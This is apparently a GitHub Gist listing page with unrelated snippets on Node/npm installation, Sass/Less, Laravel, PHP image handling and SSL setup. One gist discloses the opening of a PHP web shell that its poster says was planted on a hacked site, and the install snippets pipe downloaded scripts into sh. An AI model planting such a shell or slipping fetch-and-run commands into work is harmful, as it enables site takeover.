Skip to content

Instantly share code, notes, and snippets.

@isaacs
isaacs / node-and-npm-in-30-seconds.sh
Last active June 18, 2024 18:27
Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh

Sass/Less Comparison

In this document I am using Sass's SCSS syntax. You can choose to use the indented syntax in sass, if you prefer it, it has no functional differences from the SCSS syntax.

For Less, I'm using the JavaScript version because this is what they suggest on the website. The ruby version may be different.

Variables

// http://www.evanmiller.org/how-not-to-sort-by-average-rating.html
// http://gist.github.com/raw/63002/b53853727856bad494dcbb7ffed4fc17f289af92/gistfile1.rb
// $z is the pnormaldist with power = 0.05. I.e., pnormaldist(1-power/2)
function score($pos, $n) {
if ($n == 0) { return 0; }
$z = 1.95996397158435;
$phat = 1.0*$pos/$n;
return ($phat + $z*$z/(2*$n) - $z * sqrt(($phat*(1-$phat)+$z*$z/(4*$n))/$n))/(1+$z*$z/$n);
}
@jlong
jlong / uri.js
Created April 20, 2012 13:29
URI Parsing with Javascript
var parser = document.createElement('a');
parser.href = "http://example.com:3000/pathname/?search=test#hash";
parser.protocol; // => "http:"
parser.hostname; // => "example.com"
parser.port; // => "3000"
parser.pathname; // => "/pathname/"
parser.search; // => "?search=test"
parser.hash; // => "#hash"
parser.host; // => "example.com:3000"
@Edwin-Luijten
Edwin-Luijten / Install_L4.md
Created October 10, 2012 08:03
Install Illuminate (Laravel 4)

Install Illuminate (Laravel 4)

1 Install Composer

If you don't already have Composer installed: Launch Git Bash, enter the following command: curl -s https://getcomposer.org/installer | php

This installs composer...

2 Clone Illuminate (Laravel 4)

If you aren't already in your project folder, cd to it.

anonymous
anonymous / hacker
Created May 15, 2013 22:00
One of my sites was hacked and this is one of the primary files that was inserted into the root.
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@felipecrv
felipecrv / SimpleImage.php
Created May 31, 2013 21:15
A PHP Imagick wrapper class that makes image manipulation simpler by making some decisions and by adding new functionality. The `getMainBorderColor()` method is specially interesting. With it you can calculate which color is the most frequent in the lateral borders of an image. I used it to set a background for an area that could possibly be lef…
<?php
class SimpleImage {
private $img;
public function __construct($path) {
$path = Filesystem::resolvePath($path);
Filesystem::assertExists($path);
@dypsilon
dypsilon / frontendDevlopmentBookmarks.md
Last active June 13, 2024 10:59
A badass list of frontend development resources I collected over time.
@bradmontgomery
bradmontgomery / install-comodo-ssl-cert-for-nginx.rst
Last active June 10, 2024 15:37
Steps to install a Comodo PositiveSSL certificate with Nginx.

Setting up a SSL Cert from Comodo

I use Namecheap.com as a registrar, and they resale SSL Certs from a number of other companies, including Comodo.

These are the steps I went through to set up an SSL cert.

Purchase the cert

@richnicholls404
richnicholls404 / gist:7449378
Last active October 27, 2020 06:09
Register Service Provider and assign a Facade alias programatically in Laravel (such as inside a package)
<?php namespace Cavedwellerrich\MyPackage;
use Illuminate\Support\ServiceProvider;
use Illuminate\Foundation\AliasLoader;
class MyPackageServiceProvider extends ServiceProvider {
//...
public function register()